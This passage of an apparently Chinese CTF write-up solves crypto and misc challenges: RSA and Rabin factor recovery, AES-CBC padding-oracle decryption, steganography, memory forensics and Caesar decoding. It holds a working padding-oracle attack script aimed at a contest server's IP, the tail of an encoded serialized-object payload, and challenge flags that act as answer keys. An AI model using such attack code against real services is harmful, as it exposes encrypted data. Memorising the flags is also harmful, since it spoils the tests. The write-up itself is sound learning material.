mcuU3RyaW5nJENhc2VJbnNlbnNpdGl2ZUNvbXBhcmF0b3J3A1x9XFDlzgIAAHhwdAAKY29ubmVjdGlvbncEAAAAAXQABW5pdmlhc3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAAF4eHNxAH4AIwAAAAJzcQB%2BAAI%2FQAAAAAAADHcIAAAAEAAAAAJxAH4ABHEAfgAbcQB%2BABhxAH4ABXhxAH4AJXg%3D
crypto
010101
将前半部分和后半部分分别异或1进行还原,最后得到p
from Crypto.Util.number import long_to_bytes
N = ***
p = ***
m = ***
p = str(p)
e = 65537
flag = False
print(len(p))
for j in range(len(p)):
p2 = list(p)
p2[j] = str(int(p[j]) ^ int('1')) # 将p的第j位与1进行异或
for i in range(j + 1, len(p)): # 从p的第j+1位开始遍历
p3 = list(p2)
p3[i] = str(int(p[i]) ^ int('1')) # 将p2的第i位与1进行异或
if N % int(''.join(p3), 2) == 0:
modified_p = int(''.join(p3), 2)
flag = True
break
if flag:
break
q = N // modified_p
phi = (modified_p - 1) * (q - 1)
d = pow(e, -1, phi)
print(long_to_bytes(pow(m, d, N)))
# D0g3{sYuWzkFk12A1gcWxG9pymFcjJL7CqN4Cq8PAIACObJ}
POA
不断构造IV并发送,接收解密结果,恢复AES CBC解密的中间值,最后与IV进行异或得到
from hashlib import sha256
import itertools
import socket
import string
from Crypto.Util.number import long_to_bytes, bytes_to_long
def proof(broke, Hash):
assert len(broke) == 16 and len(Hash) == 64
shaTable = string.ascii_letters + string.digits
for ii in itertools.permutations(shaTable, 4):
x = ''.join(ii)
s = x + broke
if sha256(s.encode()).hexdigest() == Hash:
print(x)
return x
def con():
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('124.71.177.14', 10010))
proof_data = sock.recv(2048)
send_proof = (proof(proof_data[14:30].decode(), proof_data[32:96].decode())).encode()
sock.recv(2048)
sock.send(send_proof)
data1 = sock.recv(2048)
print(data1.decode())
sock.send('1\n'.encode())
cipher = sock.recv(4096).decode().split(' ')[-1]
print(cipher)
guess_iv = [0 for _ in range(16)]
restore_midd = [0 for _ in range(16)]
index = 1
for i in range(15, -1, -1):
for j in range(0, 256):
sock.send('2'.encode())
txt = sock.recv(4096).decode()
guess_iv[i] = j
mess = bytes(guess_iv).hex() + cipher[32:]
sock.send(('%s\n' % mess).encode())
result = sock.recv(4096).strip().decode()
if result == 'True':
print('find')
restore_midd[i] = index ^ j
for k in range(15, i - 1, -1):
guess_iv[k] = restore_midd[k] ^ (index + 1)
break
index += 1
m = bytes_to_long(bytes(restore_midd)) ^ int(cipher[:32], 16)
print(long_to_bytes(m))
if __name__ == '__main__':
con()
Rabin
解方程恢复e1, e2
解RSA+RSA Rabin
from Crypto.Util.number import isPrime, long_to_bytes
from decimal import Decimal, getcontext
from sympy import *
import itertools
import gmpy2
getcontext().prec = 4096 # To get all digits
def quadratic(b, c):
b, c = Decimal(b), Decimal(c)
disc = b ** 2 - 4 * c
return (-b + disc.sqrt()) / 2, (-b - disc.sqrt()) / 2
n = 250814637051807819966792611245960610922650272171774421100096725362876110354331644672361070288421932814011240278013930236506935606208856158245203226575206173399353228955646434946185162337249508916173886601690750176079643923598040239558820163968619858461299932945052867416892052800080380065469520552769729908237916948231811852512702334673059498173828710097943836553665421008502790227505238045663138503444330272778394062239358945912631242535901236920740968520395320695821881700272436374765803456467229511027996411612705127440152548517761802229692762942039810655711762857733655968843311390554894490989464889063115195307376546315206091850157113517967028388112696773322299195386885674487736953704278131208605733928620385647653506188387270203806469091593555942596009391614056683438954798377100513743826890914546813802825956772601161008749865452605755445313141047898707485333785540081269386385654187051443297745903924802393853636159179216465330611652590550085005018159338383332480775331023418636856327968211907
inv_p = 18572680482956333849695203716461713104773047923602099298094682396862191850514405358287530759577107822437397076448196882484810348534389142512538132336772660002619635584317411507556898261467535786390472312057865009529503815275471152631242674775023579999529144217652870406017527500924054906365970316171601724395
inv_q = 136535048380593205200147274200607623672178047616047871024461976135751463050074132537068629202262492753981526789311501011207084603084500046237452580036584406621193450044354252290673799669278685039786072212806149907642025392079172459205884032545048534994511661271942133535933734878627347694553081776269463131011
c1 = 24438369699277358577099809092522666507794264940897211362396512304628436041222873422281052071040304574363510205249804316939250072085516605409716236630122437693098107965690357983662511641360852519159201210407149426013456665654927559031576450707769140579811457087575821158806216834589419118616293649134570029348864168061503995325421166403367212784956918879123538609647020213238539717446246806658900303124564032457968947891973269315221759825010175759282900948586059414233078011374547085622341941301930819816001572766834718060688545069956096308661744521329011217013954462888420216389590625029416601914841651975749769319907679957725817987535287875463052512829357180018005408137318173906769605861407680810593420749995979362702366940275048900413734250464314983304164277188084351968745605375769912296693849464371792448471466297537539956183639108372537896814803224393949374263943947266927232857089835606620154448584587895531774998281005520646293399213187296591877953310626414259916310440526985379452834140797344
c2 = 223295770243896926174824405932791118562132019446137106707499244470470652130983482933886296317979962549790414754161520435096091469226090668617978924038597496895109870016050016361204593776094886916554978524328312654899592058243030170843460725094455369392386666825873918339575610780772636586002747595613558066320125773587684070090772498121214867506696972158540355910065773892648404521506595636503850295827650330993678348250267770526157595871258640949265795928803796357149879172931040916773382169296914793584970211453674931039251561404963603173087988508276297347805041885971003956420812510128302146772371481501739596756529250961807845809297176387467035756066576014695851369095199182667219429449627072080517064563211041402250659878953388165820020061897516163246110562240123389210713625152448308461232879889286613844389367421303837747532095262647017908028398324773681913209915202010758289748837739798240683937739276900417861582443180262419471329076908687714213527415105489215148326758425520069134366726191206
r = 2
while True:
r = r * 8
if r.bit_length() > 1024 and isPrime(r - 1):
r = r - 1
break
print(int(r))
pq = n // r
k1k2 = inv_p * inv_q - 1
alpha_times_beta = k1k2 * pq
alpha_plus_beta = pq * inv_p * inv_q - 1 - k1k2 * pq
e1 = 2
e2 = 5
alpha, beta = quadratic(-alpha_plus_beta, alpha_times_beta)
p = gcd(pq, int(alpha))
q = gcd(pq, int(beta))
assert p * q == pq
p, q = symbols("p q")
eq1 = Eq(inv_p * p + inv_q * q - pq - 1, 0)
eq2 = Eq(p * q, pq)
sol = solve((eq1, eq2), (p, q))
print(sol)
p = int(155067211748080035817706240824444294173177315452053655302198450440797223063993902553854738130782449160496432645166392115875035577949847055717925643946457912682751338169862368227051614666060761234405201526539028698479896781769397552330889288635473271948706547821980919655770653459515096024615873307927376930323)
q = int(155406237257371285686734630614272846342794427544939674750800108880031404165544180838277971813657235395399719426255865993550582439955633684106295486647395174391393520922781711164275517262754514023537536287360365851886349215688978809822032291068515106418115813510512126616124030805066436158518403149436994756207)
print(isPrime(p), p)
print(isPrime(q), q)
print(isPrime(r))
phi = (p - 1) * (q - 1) * (r - 1)
print(phi)
d2 = gmpy2.invert(e2, phi)
m2 = pow(c2, d2, n)
print(long_to_bytes(m2))
mp = pow(c1, (p + 1) // 4, p)
mq = pow(c1, (q + 1) // 4, q)
mr = pow(c1, (r + 1) // 4, r)
bp = n // p
bq = n // q
br = n // r
ap = pow(bp, -1, p)
aq = pow(bq, -1, q)
ar = pow(br, -1, r)
for sp, sq, sr in itertools.product((-1, 1), repeat=3):
m = (sp * ap * bp * mp + sq * aq * bq * mq + sr * ar * br * mr) % n
m = long_to_bytes(m)
if b"D0g3" in m:
print(m)
misc
dacongのsecret
得到一个压缩包和一个png
用工具或者脚本提取一下水印得到密码
得到一个password的d@C0ng 1s cUt3!!!
根据题目提示推出png不止一个秘密
继续用pngcheck打开dacong1hao.png
发现在尾部的idat头不对
010打开
找到有两个IDATx
直接手动搜索IDATx把第一部分IDATx删掉
保存后得到如下图片
爆破一下宽高得到key
wH1T3_r0cckEt_sh00ter
猜测可能是后边用到的
用前边水印的密码打开压缩包得到一张jpg
用010打开末尾有一串hex值
根据特征判断是一个压缩包的hex值倒序
手动提取出来打开发现需要密码
正好用之前的key解开
得到一串base64密文
由于有很多行base
猜测可能是base64隐写
用以下脚本跑出base64隐写的数据
d='''str
'''
e=d.splitlines()
binstr=""
base64="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
for i in e :
if i.find("==")>0:
temp=bin((base64.find(i[-3])&15))[2:]
#取倒数第3个字符,在base64找到对应的索引数(就是编码数),取低4位,再转换为二进制字符
binstr=binstr + "0"*(4-len(temp))+temp #二进制字符补高位0后,连接字符到binstr
elif i.find("=")>0:
temp=bin((base64.find(i[-2])&3))[2:] #取倒数第2个字符,在base64找到对应的索引数(就是编码数),取低2位,再转换为二进制字符
binstr=binstr + "0"*(2-len(temp))+temp #二进制字符补高位0后,连接字符到binstr
str=""
for i in range(0,len(binstr),8):
str=str+chr(int(binstr[i:i+8],2)) #从左到右,每取8位转换为ascii字符,连接字符到字符串
print(str)
得到一个pass
m1ku_1s_sha_fufu123
最后用该秘密通过jphs解出得到flag
打开得到flag
flag{d@C0ng_1s_r3@lIy_Re@iLY_Cute}
dacongのWindows
由于win10可能不怎么兼容vol2,需要制作profile,所以建议使用vol3解题
首先文件检索一下关键词wav,可以发现有很多的wav,暂时先放着
继续搜索一下txt关键词
这里找到两个关键的txt,先dump下来看下
先打开看一下do_you_want_listen
do_you_want_liten.txt里提示了miku有一首歌叫做’???music‘
搜索一下歌名可以知道歌曲叫做39music!
结合文件名以及该txt所在的位置猜测是对之前的wav提示
那么把dacong39.wav下载出来
打开听一下是sstv
那么手机打开robot36得到第一段flag
flag{Ar3_Th3Y
然后这里笨B出题人做镜像忘记把winrar打开了
但是也可以通过rar关键词找到一个rar
一样dump下来
解压后是flag2
根据翻译推测可能是snow加密
直接解一下,发现是无密码的snow
得到第二段flag
_tHE_Dddd
然后回头看之前的flag3
是一串加密,但是结合题目的描述,有什么重要的表被修改,猜测需要密钥
在注册表里找到
解一下是aes
得到第三段flag
dAc0Ng_SIst3Rs???}
flag{Ar3_Th3Y_tHE_DddddAc0Ng_SIst3Rs???}
疯狂的麦克斯
麦克斯的称号这个文件存在0宽隐写
解密得到 mks007
打开嗨.zip,存在一个docx文件,可以直接改后缀为zip,也可以Binwalk分离出来,这里就存在一个 MKS IM麦克斯.txt这个文件
打开txt文件得到
翻到最下面有
凭这里看出应该是某种加密
结合前面的mks007,可能是凯撒偏移
尝试将mks007转换为整数,进行凯撒偏移,得到THISISMKSDOYOUKNOWWHOAMI
(预期外:通过维吉尼亚解密,密钥为e,通过rot13,为22)
此时对整个文档进行偏移
def caesar_decipher(text, shift):
result = ""
for char in text:
if char.isalpha():
alphabet = ord('a') if char.islower() else ord('A')
shifted = (ord(char) - alphabet - shift) % 26 # 逆向偏移
result += chr(alphabet + shifted)
else:
result += char
return result
# 读取加密后的文件内容
with open('MKS.txt', 'r') as file:
encrypted_content = file.read()
# 自定义偏移量
offset = "mks007"
# 将偏移量转换为整数
shift = sum(ord(char) for char in offset) - len(offset) * ord('a')
# 对内容进行逆向凯撒偏移
decrypted_content = caesar_decipher(encrypted_content, shift)
# 将解密后的内容写入新文件
with open('mksnew.txt', 'w') as file:
file.write(decrypted_content)
此时作用于文件所有内容,然后根据麦克斯MAX遍历出其中最大值,得到456788P。
虽然好像都是通过直接爆破得来的,不过也能爆破,也算是一种解
FLAG的密码就是456788P base64后的
NDU2Nzg4UA==
D0g3{Th1s_REA11Y_MAX_F1A4_GGB0ND}
Nahida
题目给一个压缩包
里面有一个txt文件和一个Nahida文件
其中txt仅作为提示(wink眨眼睛,和眼睛有关),并没有藏东西
查看另一个文件
可以看到是FF D8 FF E0倒过来的,所以写脚本进行倒置
Nahida是通过脚本加密的,原文件为一个jpg文件,通过对hex进行分组前后交换得到
故写解密脚本
def swap_positions(hex_string):
# 将每两位进行位置交换
swapped = ''.join([hex_string[i+1] + hex_string[i] for i in range(0, len(hex_string), 2)])
return swapped
def decrypt_image_hex(encrypted_image_path):
# 打开加密的文件
with open(encrypted_image_path, 'rb') as file:
encrypted_data = file.read()
# 将加密的字节数据转换为16进制字符串
encrypted_hex = encrypted_data.hex()
# 组间交换位置
swapped_hex = swap_positions(encrypted_hex[::-1])
# 组内交换位置
grouped_hex = [swap_positions(swapped_hex[i:i+2]) for i in range(0, len(swapped_hex), 2)]
# 将16进制字符串转换回字节数据
decrypted_data = bytes.fromhex(''.join(grouped_hex))
# 生成解密后的文件
decrypted_image_path = 'decrypted_image.jpg'
with open(decrypted_image_path, 'wb') as decrypted_file:
decrypted_file.write(decrypted_data)
return decrypted_image_path
# 测试解密函数
encrypted_image_path = 'test.jpg' # 替换为加密图片的路径
decrypted_image_path = decrypt_image_hex(encrypted_image_path)
print("解密后的文件路径:", decrypted_image_path)
得到jpg,在图片的最后看到一串字符串,
提示 神之眼(再次提示静默之眼),以及眼的密码在最开始就得到,也就是题目名Nahida
d0g3{Nahida_is_the_best_in_the_world!}
原文链接地址:https://dce.i-soon.net/#/group/detail/31